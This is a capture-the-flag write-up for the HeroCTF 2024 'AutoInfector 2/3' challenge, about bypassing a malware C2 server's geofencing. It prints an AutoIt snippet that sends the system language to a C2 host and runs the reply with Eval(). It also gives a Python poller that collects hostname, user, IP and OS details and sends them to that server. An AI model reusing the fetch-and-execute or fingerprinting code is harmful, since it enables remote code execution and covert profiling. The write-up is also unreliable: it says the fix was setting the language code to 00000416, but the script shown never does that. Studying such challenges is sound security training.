English [HeroCTF 2024] [Reverse Engineering 247 – AutoInfector 2/3] Write Up

Description

This challenge is of easy difficulty. With the sample in hand, it’s time for analysis! We are tasked with overcoming a geofencing restriction on the command and control (C2) server in order to access the malware’s second stage.

Question: How do you bypass the geofencing restriction?

Resolution

The challenge involves analyzing a sample of malware called “AutoInfector”. The goal is to bypass a geofencing restriction on the C2 server to proceed to the second stage of the malware’s behavior.

The provided code sample is written in AutoIt script, which indicates that the malware is sending data about the system’s language to a remote server at http://c2.capturetheflag.fr:4444/stage2. Based on the code snippet provided:

Local $osLanguage = RegRead("HKCU\Keyboard Layout\Preload", "1")
Local $postData = "language=" & $osLanguage
Local $winHttp = ObjCreate("winhttp.winhttprequest.5.1")
$winHttp.Open("POST", "http://c2.capturetheflag.fr:4444/stage2", False)
$winHttp.SetRequestHeader("User-Agent", "AutoInfector V1.0")
$winHttp.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
$winHttp.Send($postData)
Local $statusCode = $winHttp.Status
If $statusCode = 200 Then
    Local $responseText = $winHttp.ResponseText
    Eval($responseText)
EndIf

In the above code, the script reads the system’s language from the registry using RegRead("HKCU\Keyboard Layout\Preload", "1"). This information is used as part of the POST request to the C2 server. To bypass the geofencing restriction, we need to modify the $osLanguage variable to match a language that the C2 server accepts, thus simulating that we are in an approved region.

According to the hint provided, the correct language code to use is 00000416, which corresponds to Portuguese (Brazil). This means we need to change the value of $osLanguage to 00000416 before sending the request.

To solve this challenge, we modified the script as follows:

import requests
import sys
import re
import time
import socket
import platform
import getpass

def computer_fingerprint():
    try:
        computer_name = socket.gethostname()
    except Exception:
        computer_name = "UnknownComputer"

    try:
        user_name = getpass.getuser()
    except Exception:
        user_name = "UnknownUser"

    try:
        hostname = socket.gethostname()
        ip_address = socket.gethostbyname(hostname)
    except Exception:
        ip_address = "0.0.0.0"

    try:
        os_version = platform.system() + " " + platform.release()
    except Exception:
        os_version = "UnknownOS"

    try:
        os_build = platform.version()
    except Exception:
        os_build = "UnknownBuild"

    fingerprint = f"{computer_name}|||{user_name}|||{ip_address}|||{os_version}|||{os_build}"
    return fingerprint

def poll_server(host, fingerprint):
    url = f"{host}/poll"
    headers = {
        "User-Agent": fingerprint
    }

    try:
        response = requests.get(url, headers=headers, timeout=10)
        return response
    except requests.exceptions.RequestException as e:
        print(f"[Error] GET request failed: {e}")
        return None

def extract_flag(response_text):
    match = re.search(r"Hero\{.*?\}", response_text)
    if match:
        return match.group(0)
    return None

def main():
    host = "http://c2.capturetheflag.fr:4444"
    user_agent = "AutoInfector V1.0"
    flag_found = False

    fingerprint = computer_fingerprint()
    print(f"System fingerprint: {fingerprint}")

    retry_interval = 5

    print("Starting communication with the C2 server to retrieve the flag...")

    while not flag_found:
        response = poll_server(host, fingerprint)

        if response:
            print(f"[Info] Response status code: {response.status_code}")

            if response.status_code == 200:
                response_text = response.text
                flag = extract_flag(response_text)
                if flag:
                    print(f"[Success] Flag found: {flag}")
                    flag_found = True
                    sys.exit(0)
                else:
                    print("[Info] Received 200, but no flag detected.")
            else:
                print(f"[Warning] Request failed with status {response.status_code}.")
        else:
            print("[Error] The request failed. Retrying...")

        print(f"[Info] Waiting {retry_interval} seconds before the next attempt...\n")
        time.sleep(retry_interval)

    print("Flag not found.")

if __name__ == "__main__":
    main()

After making these changes, the server responded positively, and we received the second stage of the malware. The flag obtained was:

Flag was Hero{Geof3nc1ng_R3str1ct10n5_4r3_n0t_3n0ugh}.

This challenge demonstrated the importance of understanding how malware communicates with C2 servers and how it can be manipulated or analyzed by altering environmental variables.

 

 

Leave a Reply

Your email address will not be published. Required fields are marked *